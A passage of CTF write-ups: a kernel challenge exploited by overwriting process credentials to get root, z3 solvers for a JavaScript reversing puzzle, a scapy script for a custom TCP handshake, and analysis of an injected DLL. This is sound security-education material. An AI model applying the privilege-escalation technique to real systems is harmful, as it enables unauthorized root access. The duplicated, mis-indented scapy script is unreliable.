 10   else
 11   {
 12     if ( req == 0x386 )
 13       write(value);
 14     result = 0LL;
 15   }
 16   return result;
 17 }

We recognize the request value 0x385 for read and 0x386 for write.

The read function looks like this:

  1 __int64 __fastcall read(read_arg_t *p_arg)
  2 {
  3   __int64 result; // rax@1
  4   unsigned __int64 v2; // rt1@1
  5   __int64 output_value; // [rsp+0h] [rbp-28h]@1
  6   read_arg_t arg; // [rsp+8h] [rbp-20h]@1
  7   unsigned __int64 v5; // [rsp+18h] [rbp-10h]@1
  8 
  9   v5 = __readgsqword(0x28u);
 10   arg.offset = 0LL;
 11   arg.p_user_output_val = 0LL;
 12   output_value = 0LL;
 13   copy_from_user(&arg, p_arg, sizeof(read_arg_t));
 14   output_value = *(__int64 *)((char *)&arg.offset + arg.offset);
 15   copy_to_user(struct1.p_user_output_val, &output_value, 8LL);
 16   v2 = __readgsqword(0x28u);
 17   result = v2 ^ v5;
 18   if ( v2 == v5 )
 19     result = 0LL;
 20   return result;

The important lines are line 14 and 15 :

Line 13 : the user argument bundle is copied to local argument variable arg on the kernel stack

Line 14: the offset value that is passed by the user is added to the kernel **address ** of arg i.e. &arg. The resulting address is dereferenced and copied back to the user at line 15. This is equivalent semantically to:

char *p = (char *)&arg;
output_value = p[arg.offset]

This makes clear that the read function actually gives a read that is relative to the address of arg on the kernel stack.

We can experiment for instance with offset 40:

----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read flag
5. Any hintz?
6. Bye!
> 1
Sigh...
> 
40
I hope this will not suck too much...
Alright, alright: ffffffffc01d41a3

Let’s try with 505:

----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read flag
5. Any hintz?
6. Bye!
> 1  
Sigh...
> 
505
I hope this will not suck too much...

This time the kernel crashed. The instruction that crashes is probably the copy_from_user: we copy 16 bytes, if we add the first 8 bytes to 505 we obtain 513 which 1 byte passed 512 (0x200). In other word, we apparently hit one end of the kernel stack.

As for the write function:

 1 __int64 __fastcall write(__int64 user_value)
  2 {
  3   __int64 result; // rax@1
  4   unsigned __int64 v2; // rt1@1
  5   __int64 kernel_value; // [rsp+0h] [rbp-20h]@1
  6   __int64 zero; // [rsp+8h] [rbp-18h]@1
  7   unsigned __int64 v5; // [rsp+10h] [rbp-10h]@1
  8 
  9   v5 = __readgsqword(0x28u);
 10   kernel_value = 0LL;
 11   zero = 0LL;
 12   copy_from_user(&kernel_value, user_value, 16LL);
 13   *(__int64 *)((char *)&kernel_value + kernel_value) = zero;
 14   v2 = __readgsqword(0x28u);
 15   result = v2 ^ v5;
 16   if ( v2 == v5 )
 17     result = 0LL;
 18   return result;

Pretty much the same logic that in the read function: the user input is interpreted as an offset that is added to a reference kernel address on the stack and a zero is written at the resulting address:

*(__int64 *)((char *)&kernel_value + kernel_value) = zero;

So to conclude, we have a read primitive that provides a relative read on the kernel stack based on an offset passed by the user and a write primitive that provides a relative zero write on the kernel stack, using a user offset as well.

Exploitation

The plan is the following:

  1. Using the read primitive, find the address of the task_struct of the current process,
  2. Using the read primitive, find the address of the cred,
  3. Using the write primitive, overwrite all the uids and gid with in the cred with 0,
  4. Invoke the “Read flag” option in the menu as root

Since we write relatively to arg, we first need to find its address , &arg . In order to understand why, let’s looking again at the line that is actually getting the value from the stack:

 14   output_value = *(__int64 *)((char *)&arg.offset + arg.offset);

The only input we have is arg.offset . Suppose we want to read the value at kernel address kaddr, we could achieve this by passing the offset kaddr - &arg.offset. Then the above expression resolves to:

14    output_value = *(__int64 *)((char *)&arg.offset + kaddr - &arg.offset);

Or in other word:

output_value = *(__int64 *)((char *)kaddr)

Which is exactly what we want.

To determine &arg, we first need to find an address on the stack. We can use kernel stack addresses we know from the Baby kernel riddle to know how a stack address looks like or alternatively, we could search for kernel addresses that look like linked list addresses of stack frame (the difference between two values is less than a page and the alignment matches). We find such an address at offset 0x120, let’s call it x.

Now we use the fact that offset 0x200 hits one end of the stack to find &arg. First find the page address of x : page_address = x & ~0xfff and then take as assumption that the crash happened at the page boundary, we have &args + 0x200 = page_address + 0x1000

Thus,

&args = page_address + 0x1000 - 0x200 = page_address + 0xe00

Let’s start coding a python script:

#Python script

x = read_value_at(0x120)
arg_addr = (x & ~0xfff) + 0xe00

We next find the task_struct address based on our knowledge of how a task_struct address looks like in the Baby kernel riddle. We find it at offset 0xf0.

task_struct = read_value_at(0xf0)

Now moving to find the cred pointer.

We know that the cred pointer in task_struct should appear twice with the same value (real_cred and cred), not pointing inside the task_struct. Note that this kernel has randomized layout (see the end of the definition) ,meaning that the fields real_cred and cred are not necessarily sequentially ordered. With thus need to search within a sufficient large range.

111 struct cred {
112     atomic_t    usage;
113 #ifdef CONFIG_DEBUG_CREDENTIALS
114     atomic_t    subscribers;    /* number of processes subscribed */
115     void        *put_addr;
116     unsigned    magic;
117 #define CRED_MAGIC  0x43736564
118 #define CRED_MAGIC_DEAD 0x44656144
119 #endif
120     kuid_t      uid;        /* real UID of the task */
121     kgid_t      gid;        /* real GID of the task */
122     kuid_t      suid;       /* saved UID of the task */
123     kgid_t      sgid;       /* saved GID of the task */
124     kuid_t      euid;       /* effective UID of the task */
125     kgid_t      egid;       /* effective GID of the task */
126     kuid_t      fsuid;      /* UID for VFS ops */
127     kgid_t      fsgid;      /* GID for VFS ops */
128     unsigned    securebits; /* SUID-less security management */
129     kernel_cap_t    cap_inheritable; /* caps our children can inherit */
130     kernel_cap_t    cap_permitted;  /* caps we're permitted */
131     kernel_cap_t    cap_effective;  /* caps we can actually use */
132     kernel_cap_t    cap_bset;   /* capability bounding set */
133     kernel_cap_t    cap_ambient;    /* Ambient capability set */
134 #ifdef CONFIG_KEYS
135     unsigned char   jit_keyring;    /* default keyring to attach requested
136                      * keys to */
137     struct key  *session_keyring; /* keyring inherited over fork */
138     struct key  *process_keyring; /* keyring private to this process */
139     struct key  *thread_keyring; /* keyring private to this thread */
140     struct key  *request_key_auth; /* assumed request_key authority */
141 #endif
142 #ifdef CONFIG_SECURITY
143     void        *security;  /* subjective LSM security */
144 #endif
145     struct user_struct *user;   /* real user ID subscription */
146     struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
147     struct group_info *group_info;  /* supplementary groups for euid/fsgid */
148     /* RCU deletion */
149     union {
150         int non_rcu;            /* Can we skip RCU deletion? */
151         struct rcu_head rcu;        /* RCU deletion hook */
152     };
153 } __randomize_layout;

Using the read primitive we search within our task_struct the offset of all kernel pointers and select those that appear twice:

#Since stack_addr is the origin, we need to substract it
current_data = [read_value_at(task_struct + i - arg_addr) for i in range(0, 0xa00, 8)]

ptrs = {}

for i, pt in enumerate(current_data):
    if (pt>>48) == 0xFFFF and current_data.count(pt) == 2:
        ptrs[pt] = i

Now iterate through the cred candidates by step of 8 bytes and search for anything looking like our uid (1000) and use the write primitive to overwrite it with a 0, getting us to be root. And finally, read the flag as root.

read_uid()
for pt in ptrs.keys():
    for i in range(0, 0x100, 8):
        val = read_value_at(pt - arg_off + i)
        print("%x (%d): %x" %(pt + i, ptrs[pt], val))
        if (val >> 32 == 1000):
            write_value_at(pt - arg_off + i)

#check we are root            
read_uid()
#getting the flag
read_flag()

Note the call to write_value_at() in the script: we assumed that the stack base address from where we write is located at the same offset in the page as in the read case. This appears to be true.

In this script output, you can see that the value 1000 (uid) is found at various offsets from the address *(task_struct + 44) ; however those offsets are not consecutive: this is the effect of the randomized layout.

Let’s finally look at the script output:

stack at ffffaed3c00b3e00<br>
task_struct at ffff94f68311c800

uid=1000(user) gid=1000(user) groups=1000(user)
ffff924f4211b620 (5): ffff924f4211b620<br>
    ffff924f4211b628 (5): ffff924f4211b620<br>
    ffff924f4211b630 (5): 0<br>
    ffff924f4211b638 (5): ffff924f40071d80<br>
    ffff924f4211b640 (5): ffff924f4210d6c0<br>
    ffff924f4211b648 (5): 0<br>
    ffff924f4211b650 (5): 1<br>
    ffff924f4211b658 (5): ffff924f421184c0<br>
    ffff924f4211b660 (5): ffff924f421184c0<br>
    ffff924f4211b668 (5): bb192e36<br>
    ffff924f4211b670 (5): 0<br>
    ffff924f4211b678 (5): ffff924f4211b678<br>
    ffff924f4211b680 (5): ffff924f4211b678<br>
    ffff924f4211b688 (5): ffff924f4211b688<br>
    ffff924f4211b690 (5): 0<br>
    ffff924f4211b698 (5): 0<br>
    ffff924f4211b6a0 (5): 0<br>
    ffff924f4211b6a8 (5): 0<br>
    ffff924f4211b6b0 (5): 0<br>
    ffff924f4211b6b8 (5): 0<br>
    ffff924f4211b6c0 (5): 0<br>
    ffff924f4211b6c8 (5): 0<br>
    ffff924f4211b6d0 (5): 0<br>
    ffff924f4211b6d8 (5): 0<br>
    ffff924f4211b6e0 (5): ffff924f4211b6e0<br>
    ffff924f4211b6e8 (5): 0<br>
    ffff924f4211b6f0 (5): 0<br>
    ffff924f4211b6f8 (5): 0<br>
    ffff924f4211b700 (5): 0<br>
    ffff924f4211b708 (5): ffffffff9745f460<br>
    ffff924f4211b710 (5): ffffffff97e44740<br>
    ffff924f4211b718 (5): 0<br>
    ffff924f4210d6c0 (44): 3fffffffff<br>
    ffff924f4210d6c8 (44): ffffffff97e40ae0<br>
    ffff924f4210d6d0 (44): 0<br>
    ffff924f4210d6d8 (44): 0<br>
    ffff924f4210d6e0 (44): 43736564<br>
    ffff924f4210d6e8 (44): 3e8  <---- This 1000<br>
    ffff924f4210d6f0 (44): 0<br>
    ffff924f4210d6f8 (44): ffff924f42127b80<br>
    ffff924f4210d700 (44): ffff924f40091720<br>
    ffff924f4210d708 (44): 2<br>
    ffff924f4210d710 (44): 0<br>
    ffff924f4210d718 (44): 3e800000000<br>
    ffff924f4210d720 (44): 0<br>
    ffff924f4210d728 (44): 3000003e8<br>
    ffff924f4210d730 (44): 3e8000003e8<br>
    ffff924f4210d738 (44): 3e8000003e8<br>
    ffff924f4210d740 (44): 0<br>
    ffff924f4210d748 (44): 3e8 <----------- This 1000<br>
    ffff924f4210d750 (44): 0<br>
    ffff924f4210d758 (44): 0<br>
    ffff924f4210d760 (44): 0<br>
    ffff924f4210d768 (44): 0<br>
    ffff924f4210d770 (44): 0<br>
    ffff924f4210d778 (44): 0<br>
    ffff924f4210d780 (44): 7858641e66cbc03c<br>
    ffff924f4210d788 (44): 0<br>
    ffff924f4210d790 (44): 0<br>
    ffff924f4210d798 (44): 0<br>
    ffff924f4210d7a0 (44): 0<br>
    ffff924f4210d7a8 (44): 0<br>
    ffff924f4210d7b0 (44): 0<br>
    ffff924f4210d7b8 (44): 0

uid=0(root) gid=0(root) groups=1000(user)

   Here are your 0x23 bytes of the flag: 
   flag{why_are_y0u_not_talking_to_me}

The flag is flag{why_are_y0u_not_talking_to_me} 

Yield (reversing)

The challenge is an HTML file called index.html, which contains obfuscated and minified Javascript. When browsing the page we receive 34 prompts and after trying to enter some different strings they all lead to the same skull unicode character being displayed to the user.

After passing it to a beautifier we see the script is composed of several components. All variable and function names are different capitalization permutations of the word β€œyield”. In some of the screenshots the variables were renamed for clarity. The script parts:

  1. 4 consts which equal this, 0, 1 and 2 respectively
  • A dictionary yiElD which has keys again with different yield permutations, with values that are Javascript keywords / functions / property names like β€œfunction”, β€œforEach” etc.
  • An array which will be used as a stack for passing parameters, described later.
  • A generator yiELd which:
    • Receives a function and number of arguments for that function
    • Pops the arguments for the received function (number is known from second argument) by pushing the return value of yield statement into a local array.
    • Calls the received function object with the expanded argument list received via … operator.
    • Returns the return value from the called received function via yield if it is non-void.

So essentially a relayer from yield-based parameter passing to traditional parameter passing.

  • A dictionary containing 17 generators and 4 lambdas. The lambdas are four Javascript functions: String.fromCodePoint, codePointAt, prompt and alert, each passed to the yield relayer at 4 with the respective number of arguments it receives. The rest of the functions receive variables via yield statements and perform different actions such as bitwise or, subtraction, shifting and so on, then output their return value via yield.
  • An array with about 2800 elements, which are either one of the yield functions from above or constants.
  • Call forEach on the array which does the follows:
    • If the element is a function, call it (it will be a generator function) and call next() on it to reach the first yield
    • as long as the generator is not done and there no return value, call next() on the generator with an argument popped from the top of the stack.
    • While generator is not done and the next() return value is defined, push the value on the stack.
    • If the element is not a function, just push it on the stack

Below is the de-obfuscated forEach:

To summarize what the script is doing, it implements a stack machine which runs a series of instructions. DATA instructions store an element on the stack, FUNCTION instructions are called and passed parameters from the stack via next() and the return values are stored on the stack. Our goal is to find the logic implemented by the specific instruction array and probably make it output a different message than a skull.

The instruction array has several stages, below is the pseudo-code:

TUPLES = 
[[-95, 31, 58, -19, -87, -51, 71, 72, -9, 79, 33, -35, -21, 42, 13, -70, -5309],[64, 100, -27, 66, 22, 68, -21, -2, 26, 74, 48, 93, 68, -79, 69, 92, 63804],[49, 56, -75, 16, -79, 21, -5, 27, -7, 27, 50, -3, 13, -39, 2, 91, 11382],[82, 40, 15, 31, 56, 78, -6, 55, -53, 81, -42, 24, -15, 80, 46, -50, 42834],[-49, -92, -1, -83, -18, -87, -78, -58, -52, 39, 46, -67, -48, -79, -95, 98, -4613],[39, 69, 25, -28, -44, 58, 87, -10, 0, -29, 18, -44, -25, 23, 3, -1, 11286],[-79, 70, -70, 10, 10, -11, -79, -17, -11, 37, -30, 62, -27, -69, -49, 58, -12031],[35, -59, -41, -80, 53, -55, 21, -88, 88, 72, -19, -57, -85, -72, -60, -35, -29429],[100, 49, 98, -60, 33, 95, 51, -21, -94, -13, -43, -93, 70, -13, 11, 62, 24097],[-75, -81, 29, -89, -79, 60, -16, -59, 67, -85, 51, -13, 18, -44, -13, -56, -42878],[-53, 75, -74, -71, -53, 28, -36, -79, 5, -61, -61, 3, 50, -58, 50, 80, -21351],[-68, 94, 100, -75, 56, 96, 40, 84, -46, -13, 72, 29, 67, -20, 0, -6, 32963],[98, 35, 61, -95, -29, 71, -3, -5, -73, -11, 46, -91, -19, 67, 98, 10, 15523],[22, -10, 77, -63, -1, -46, 65, 31, -17, -37, -74, 32, 10, 80, -56, -46, -6633],[-34, 28, 61, 85, -65, 62, -46, 53, -28, 54, 44, 26, -93, 18, -15, -8, 14673],[20, -9, -80, -41, -18, -90, -51, 85, 12, -3, -28, -48, -98, -4, 57, -98, -33143]]
SUBTRACTORS = [ -182857,  -207457,  -205769, -149913,  -221729 ]
XOR_LIST = [ 89, 11025, 328509, 33362176, 10000000000, 1291467969, 42618442977, 59604644775390625]
input -> (p1, p2, …, p16)
or_sum = 0
counter = 0
for each tuple (q1, q2..q16, subtractor) in TUPLES:
for each index 1..16:
                        counter += p[index] * q[index]
or_sum |= subtractor – counter
input -> ((t11, t12), (t21,t22), (t31,t32), (t41,t42), (t51,t52))
for (t1, t2) in ((t11, t12), (t21,t22), (t31,t32), (t41,t42), (t51,t52)):
or_sum |= (((t1 << 8) | t2 ) << 4) / 2 - ~- SUBTRACTORS[index]
input -> (b1, b2, …, b8)
for b in (b1, b2, …, b8):
            or_sum |= (b pow index) ^ XOR_LIST[index]  
if or_sum == 0:
            print β€˜HAPPY’
else:
            print β€˜SKULL’

It is worth showing some of the generator functions used to implement the stack machine.

function* dup_yield(arg) {
        arg = yield, yield(arg_copy), yield(arg_copy)
}
function* swap_yield(arg1, arg2) {
        arg1 = yield, arg2 = yield, yield(arg1), yield(arg2)
}
function* from_arr_end_yield() {
        yield(stack[stack['length'] – 1 - (yield)])
}

Swap_yield swaps the two variables on top of the stack as they are pushed from top to bottom and are plopped out from bottom to top.

From_arr_end_yield fetches variables from elements in arbitrary depth on the stack

We can write a solver using z3 which will give us the input 16 + 10 + 8 bytes to the different stages that will result in or_sum = 0. Below we will discuss the solver script we coded:

The first stage requires solving a system of 16 linear equations.

While SMT solvers aren’t the sharpest tools in the shed when it comes to linear algebra (compared to Sage or MATLAB), we used z3 either way, being our go-to tool for constraint solving.

import z3
BIT_SIZE = 16
def dot_product(lhs_vec, rhs_vec):
    assert len(lhs_vec) == len(rhs_vec)
    dp = z3.BitVecVal(0, BIT_SIZE)
    for lhs, rhs in zip(lhs_vec, rhs_vec):
        dp += lhs * rhs
    return dp
def stage1():
    inputs = z3.BitVecs('s1_1 s1_2 s1_3 s1_4 s1_5 s1_6 s1_7 s1_8 s1_9 s1_10 s1_11 s1_12 s1_13 s1_14 s1_15 s1_16', BIT_SIZE)
    consts = (
        [-95, 31, 58, -19, -87, -51, 71, 72, -9, 79, 33, -35, -21, 42, 13, -70],[64, 100, -27, 66, 22, 68, -21, -2, 26,
74, 48, 93, 68, -79, 69, 92],[49, 56, -75, 16, -79, 21, -5, 27, -7,
27, 50, -3, 13, -39, 2, 91],[82, 40, 15, 31, 56, 78, -6, 55, -53,
81, -42, 24, -15, 80, 46, -50],[-49, -92, -1, -83, -18, -87, -78, -58,
-52, 39, 46, -67, -48, -79, -95, 98],[39, 69, 25, -28, -44, 58, 87, -10, 0,-29, 18, -44, -25, 23, 3, -1],[-79, 70, -70, 10, 10, -11, -79, -17, -11, 37, -30, 62, -27, -69, -49, 58],        [35, -59, -41, -80, 53, -55, 21, -88, 88, 72, -19, -57, -85, -72, -60, -35],        [100, 49, 98, -60, 33, 95, 51, -21, -94, -13, -43, -93, 70, -13, 11, 62],        [-75, -81, 29, -89, -79, 60, -16, -59, 67, -85, 51, -13, 18, -44, -13, -56],        [-53, 75, -74, -71, -53, 28, -36, -79, 5, -61, -61, 3, 50, -58, 50, 80],        [-68, 94, 100, -75, 56, 96, 40, 84, -46, -13, 72, 29, 67, -20, 0, -6],        [98, 35, 61, -95, -29, 71, -3, -5, -73, -11, 46, -91, -19, 67, 98, 10],        [22, -10, 77, -63, -1, -46, 65, 31, -17, -37, -74, 32, 10, 80, -56, -46],        [-34, 28, 61, 85, -65, 62, -46, 53, -28, 54, 44, 26, -93, 18, -15, -8],        [20, -9, -80, -41, -18, -90, -51, 85, 12, -3, -28, -48, -98, -4, 57, -98])
    sums = (        -5309,        63804,        11382,        42834,        -54613,        11286,        -12031,        -29429,        24097,        -42878,        -21351,        32963,        15523,        -6633,        14673,        -33143,    )
    assert len(inputs) == len(consts) == len(sums)
    s = z3.Solver()
    for i in range(len(inputs)):
        s.add(dot_product(inputs, consts[i]) == sums[i])
    s.check()
    m = s.model()
    for i in range(len(inputs)):
        yield chr(m[inputs[i]].as_long())
print ''.join(stage1())

The second stage requires solving a small set of constraints for pairs of flag-characters.

There’s some educational merit in solving this manually (each bit-wise operation used is trivially inversible, so it’s mostly grunt work) — but z3 is the perfect tool for the task at hand.

import z3
BIT_SIZE = 64
def stage2():
    consts = (-182857, -207457, -205769, -149913, -221729)
    inputs = z3.BitVecs("s2_1 s2_2 s2_3 s2_4 s2_5 s2_6 s2_7 s2_8 s2_9 s2_10", BIT_SIZE)
    s = z3.Solver()
    for i in range(len(inputs) / 2):
        inp1, inp2 = inputs[i*2], inputs[i*2 + 1]
        s.add (((((inp1 << 8) | inp2) << 4) / 2) == ~consts[i])
    s.check()
    m = s.model()
    for i in range(len(inputs)):
        print m
        yield chr(m[inputs[i]].as_long() & 0x7F)
print ''.join(stage2())

The third stage is solved by computing the n-th root of each of the constants.

def stage3():
    for idx, n in enumerate((89, 11025, 328509, 33362176, 10000000000, 1291467969, 42618442977, 59604644775390625)):
        exp = 1.0 / (idx + 1)
        base = n ** exp   # exp is 1/2, 1/3, 1/4, …
        yield chr(int(round(base)))
print ''.join(stage3())

After running the solver we append the results of the three stages and receive the flag:

<strong>flag{YIELd?Y1EldYIeLdyI3lDYiELd!!}</strong>

CTF Writeup – Futuristic communications (misc)

Communication in the future is a big thing. With the rising amount of data in the internet new handshake techniques are required. Here is my implementation, where I can identify who did request which resources.

In this challenge we receive a PCAP file from a custom authentication procedure between a client device and a server. Our goal is to mimic the different handshake stages and once logged in, request the flag, as can be seen in the sniff.

The first stage is a standard TCP connection to port 1337 on the target IP which is given in the challenge description. Over this connection we receive a welcome message and two parameters – our generated client UUID and a port to connect to.

Next, we need to send a SYN packet to the received port number with the packet contents being our UUID (a kind of port knock). Server sends a RST/ACK for this SYN and sends two new parameters on the 1337 socket – a new port (we will call it future port) and an initial sequence number.

At this point we start exchanging messages over the future port using a TCP variant. The first packet is a SYN where the sequence number equals the one received previously, ack is zero as in TCP, and content is UUID as previously. In response there is both a RST/ACK which we can ignore and a SYN/ACK. The SYN/ACK is unusual because it mirrors our SEQ (TCP sequence number) to the server’s SEQ and sends an ACK which is a number slightly lower than the SEQ. The gap is 24 in the sample connection but on every connection, it is a randomized small number. In response to SYN/ACK we send an ACK with SEQ = received ACK, ACK = received SEQ, as per usual TCP.

Now we receive a command menu on the 1337 connection – there are three commands: β€œsynchronize”, β€œprivileged” and β€œflag”. The goal is to first synchronize with the server, then use β€œprivileged” to elevate our permissions and finally send β€œflag” to receive the challenge flag.

In order to synchronize with the server, client needs to send β€œsynchronize” messages until SEQ=ACK. In the future protocol, in the β€œsynchronize” stage sequence number increments by 1 every packet, so we loop SEQ-ACK times and send β€œsynchronize” as data in SYN packets, ACK stays the same (equals the received SEQ, which is our initial sent SEQ), SEQ increments. Once we have caught up to the future, SEQ=ACK, all that is left is to send β€œprivileged” and β€œflag” commands to capture the flag. Both of them are again SYN packets, the content is the message name and SEQ=ACK. Finally, we receive the flag on the standard 1337 connection.

For the implementation we used scapy to send custom TCP SEQ and ACK values, tcpdump to capture the SYN/ACK and just pasted the seq and ack values from the capture into the script. Receiving the SYN/ACK in scapy was buggy presumably because scapy couldn’t identify the connection between our SYN and the SYN/ACK as it is a custom handshake, and layer 2 sniffing just didn’t work.

We ended up wasting several hours thinking our future SYN was incorrect because server didn’t send SYN/ACK. The problem was in fact that we were using a host behind NAT so after the RST/ACK we were no longer able to receive any packets destined to the NAT-ed port. Luckily a team member was able to run the python script from his public IP box.

future solution

from scapy.all import *
import sys
import socket
from time import sleep
import re

hostname = "31.22.123.60"
port = 1337 

while True:
     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     sock.connect((hostname, port))
     data_in = sock.recv(256)
     sport=1234
     token = data_in.split(b"\n")[1].split(b": ")[1]
     tcp_port0 = int(data_in.split(b"\n")[2].split(b" ")[-1])
     ip = IP(dst="31.22.123.60")
     tcp = TCP(sport=23995,dport=tcp_port0, flags="S")
     data = token
     sleep(2)
     send(ip/tcp/data)
     data_in = sock.recv(256)
     print(data_in)
     data_in = sock.recv(256)
     print(data_in)
     #for i in range(0x10000):
     #sport = i
     tcp_port = int(data_in.split(b",")[1].split(b" ")[-1])
     seq_number = int(data_in.split(b",")[2].split(b" ")[-1])
     ip = IP(dst="31.22.123.60")
     tcp = TCP(sport=37614,dport=tcp_port, flags="S", seq=seq_number)
     print("token: {0},first tcp port:{1},hex:{2},second tcp port:{3},hex:{4}sequence number:{5}".format(data, tcp_port0, hex(tcp_port0),tcp_port, hex(tcp_port), seq_number))
     sleep(2)
     print ("Sending packet with SEQ as requested")
     send(ip/tcp/data)
     #packets=sniff(filter="host %s" % hostname, count=1)

while True:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((hostname, port))
data_in = sock.recv(256)
sport=1234
token = data_in.split(b"\n")[1].split(b": ")[1]
tcp_port0 = int(data_in.split(b"\n")[2].split(b" ")[-1])
ip = IP(dst="31.22.123.60")
tcp = TCP(sport=23995,dport=tcp_port0, flags="S")
data = token
sleep(2)
send(ip/tcp/data)
data_in = sock.recv(256)
print(data_in)
data_in = sock.recv(256)
print(data_in)
#for i in range(0x10000):
#sport = i
tcp_port = int(data_in.split(b",")[1].split(b" ")[-1])
seq_number = int(data_in.split(b",")[2].split(b" ")[-1])
ip = IP(dst="31.22.123.60")
tcp = TCP(sport=37614,dport=tcp_port, flags="S", seq=seq_number)
print("token: {0},first tcp port:{1},hex:{2},second tcp port:{3},hex:{4}sequence number:{5}".format(data, tcp_port0, hex(tcp_port0),tcp_port, hex(tcp_port), seq_number))
sleep(2)
print ("Sending packet with SEQ as requested")
send(ip/tcp/data)
#packets=sniff(filter="host %s" % hostname, count=1)

line = input("Give me tcpdump: ")
 m = re.search("seq (\d+), ack (\d+)", line)
 if not m:
     exit(1)

seq=int(m.group(1))
 ack=int(m.group(2))

packet=packets[0][0][1][TCP]

tcp = TCP(sport=37614, dport=tcp_port, flags="A", seq=ack, ack=seq)
 print ("Sending ACK")
 send(ip/tcp/data)

data_in = sock.recv(256)
 print("From 1337:", data_in)

for i in range(seq-ack):
tcp = TCP(sport=37614, dport=tcp_port, flags="S", seq=ack+i, ack=seq)
print ("Sending packet #%d synchronize"% i)
send(ip/tcp/"synchronize")
sleep(0.4)
data_in = sock.recv(256)
print("From 1337:", data_in)
sleep(0.5)
 tcp = TCP(sport=37614, dport=tcp_port, flags="S", seq=seq, ack=seq)
 print ("Sending packet privileged")
 send(ip/tcp/"privileged")

data_in = sock.recv(256)
 print(data_in)

tcp = TCP(sport=37614, dport=tcp_port, flags="S", seq=seq, ack=seq)
 print ("Sending packet flag")
 send(ip/tcp/"flag")

data_in = sock.recv(256)
 print(data_in)
 data_in = sock.recv(256)
 print(data_in)
break

Parasite Validator

Challenge Description

A rival pro profit tree planting enterprise has published a reporting solution for business inquiries, thinking it might help them gain reputation to increase sales. Fortuately for us they thought it would be a good idea to outsource the development and i believe it isn’t secure at all. Get me the key.

First impression

The challenge starts with an EXE which opens a somehow modified Notepad requesting for a key. Three failed attempts and you’re out.

A bit of reversing of ParasiteValidator.exe led to the fact that in order to succeed, the processed input memory is compared with the string (which looks like a hash): “C81477CEFC17B7241647696EDD01341E156B6C3073ACF9BD4413168AE5F04A062D7F75C508”.
Some more dynamic debugging shows that the string you input is somehow changed, prior to the memcmp, but it’s not clear exactly where and how the string is changed.

The hidden dll:

One of the startup function reads a resource named “101” from the PE.

.text:0000000140001109       xor     ecx, ecx        ; lpModuleName
.text:000000014000110B       call    cs:GetModuleHandleA ; Indirect Call Near Procedure
.text:0000000140001111       lea     r8, Type        ; "D"
.text:0000000140001118       mov     edx, 101        ; lpName
.text:000000014000111D       mov     rcx, rax        ; hModule
.text:0000000140001120       call    cs:FindResourceA ; Indirect Call Near Procedure

Then this resource is loaded into memory and changed via a XOR function:

.text:0000000140006926                 mov     [rsp+128h+xor_buf], 13h
.text:000000014000692E                 mov     [rsp+128h+xor_buf+1], 37h
.text:0000000140006936                 mov     [rsp+128h+xor_buf+2], 0C0h
.text:000000014000693E                 mov     [rsp+128h+xor_buf+3], 0DEh
.text:0000000140006946                 mov     [rsp+128h+xor_buf+4], 0BAh
.text:000000014000694E                 mov     [rsp+128h+xor_buf+5], 0BEh
.text:0000000140006956                 mov     [rsp+128h+xor_buf+6], 4
.text:000000014000695E                 mov     [rsp+128h+xor_buf+7], 20h
.text:0000000140006966                 mov     [rsp+128h+xor_buf+8], 0FEh
.text:000000014000696E                 mov     [rsp+128h+xor_buf+9], 0EDh
.text:0000000140006976                 mov     [rsp+128h+xor_buf+0Ah], 0B0h
.text:000000014000697E                 mov     [rsp+128h+xor_buf+0Bh], 0Bh
.text:0000000140006986                 mov     [rsp+128h+xor_buf+0Ch], 0CAh
.text:000000014000698E                 mov     [rsp+128h+xor_buf+0Dh], 0FEh

The XORed memory is written to a file named ‘seed’, from which it is loaded as a dll and injected into the Notepad.exe process.

So we extracted the resource, converted the data using the XOR buffer, and saw that we have a valid dll file, which we loaded into our disassembler for reversing.

It’s evident that the 101 dll handles the manipulation of the user input. But how do the processes communicate, and what data manipulation is done?

IPC via Window Message, exceptions and context

Keypress Window message

The main process sends each key press via the SendMessageA(0x102,…) to the Notepad process.
During initialization the dll part of the Notepad process replaces the default window handler by it’s own function. This function intercepts 0x102 messages (key presses), records the characters in an internal memory buffer, and then passes on the message to Notepad for regular processing.

Exception and Context sharing

This is an interesting communication model. The two processes communicate by setting values in the registers of the Notepad process.

In order for the main process to process a message from 101, it calls GetThreadContext() and checks the value of the RCX register (the command register). Valid commands are 0xC1BDCEEE and 0xE8C7B756. It then proceeds to process the command, sets the result in RAX and/or RBX of the Context
, and calls SetThreadContext().

When Notepad wants to send a command to the main process, it sets it’s RCX register and then calls a function which dereferences address 0, thus causing a segmentation fault.
e.g.

mov     ecx, 0E8C7B756h ;
...

mov     rbx, 0
sub     rbx, [rbx]      ; Integer Subtraction
retn                    ; Return Near from Procedure

This presumably triggers an exception handler, which passes on the control over to the main process.

Parts of the decompiled code in the Notepad dll, in order to show a bit of the flow between the two processes:

    do
    {
      p_struc2 = get_p_global_struc2();
      remove_key_part_from_string(p_struc2, &input_string); // user has input the string
      send_context_to_other_thread(0xE8C7B756); // notify main process
    }
    while ( v3 != 'Γ΅f3N' );          // wait until confirmation received
    ...
    perform hash function on user input
    ...

    send_context_to_other_thread(0xC1BDCEEE); // notify main that hashing is complete

The corresponding decompiled part in the main process:

     if ( GetThreadContext(hThread, &Context) ) // get context to check command
      {
        command = Context.Rcx;                  // command is in RCX
        ...
        if ( command == 0xC1BDCEEE )    // hash has been performed on user input
        {
          context_r8 = Context.R8;      // R8 points to memory containing hashed input
          char_buf = 0;
          for ( i = 0; i < Context.Rdx; ++i ) // read all bytes of memory into one string
          {
            p_address = (i + context_r8);
            if ( !read_one_byte_from_memory(v2, p_address, &char_buf) )
              break;
            append_number_to_string(&user_str.external, char_buf); // char to hex
            ...
          }
          ...
          struc_7::check_is_valid(p_struc_7, &user_str);  // compare with expected result
        }

        else if ( command == 0xE8C7B756 )
        {
          ...
    }

The hashing function

Once we understood the flow and found the hashing functions, we managed to identify the constants, indices and digest size as those used by Keccak, and more specifically SHA3-256.

At this point, knowing that the input is hashed using SHA3-256 still doesn’t help us finding the flag as we can’t simply brute force an input in order to achieve the correct SHA3-256 hash.

Further investigation of the hashing function, showed that the implementation is not a straight forward SHA3. Instead the input string is hashed from the end to the beginning, starting with the last character only, then the last two, then last three etc. At each stage only the first character of the hash digest is appended to the output result string.

The decompiled code looks something like this:

    ...
    string_len = input_string.internal.len;
    offset_in_string = input_string.internal.len - 1;
